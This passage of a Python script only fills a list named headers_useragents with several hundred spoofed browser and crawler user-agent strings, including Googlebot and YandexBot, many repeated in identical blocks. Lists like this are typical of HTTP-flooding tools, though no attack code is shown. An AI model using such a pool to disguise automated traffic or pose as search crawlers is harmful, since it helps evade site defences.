  2150.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2151.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2152.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2153.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2154.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2155.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2156.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2157.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2158.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2159.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2160.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2161.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2162.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2163.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2164.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2165.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2166.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2167.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2168.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2169.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2170.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2171.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2172.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2173.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2174.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2175.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2176.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2177.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2179.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2180.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2181.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2182.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2183.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2184.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2185.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2186.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2187.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2188.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2189.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2191.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2192.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2194.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2196.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2197.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2198.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2199.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2200.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2201.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2202.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2203.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2204.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2205.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2206.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2207.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2208.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2209.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2210.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2211.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2212.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2213.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2214.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2215.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2216.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2217.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2218.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2219.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2221.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2222.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2223.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2224.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2225.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2226.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2227.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2228.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2229.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2230.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2231.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2233.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2234.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2235.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2236.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2237.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2238.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2239.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2240.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2241.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2242.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2243.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2244.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2245.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2246.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2247.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2248.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2249.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2250.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2251.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2252.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2253.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2254.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2255.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2256.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2259.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2260.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2261.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2262.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2263.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2264.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2265.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2266.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2267.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2268.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2271.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2272.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2273.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2274.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2275.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2276.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2277.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2278.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2279.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2280.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2281.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2283.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2284.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2285.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2286.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2287.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2288.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2289.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2290.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2291.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2292.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2293.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2294.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2295.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2296.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2297.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2298.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2299.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2300.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2301.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2302.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2303.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2304.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2305.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2306.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2307.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2308.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2309.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2310.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2311.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2312.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2313.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2314.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2315.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2316.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2317.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2318.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2319.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2320.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2321.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2322.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2323.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2324.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2325.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2326.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2327.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2328.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2329.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2330.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2331.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2332.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2333.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2334.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2335.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2336.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2337.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2338.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
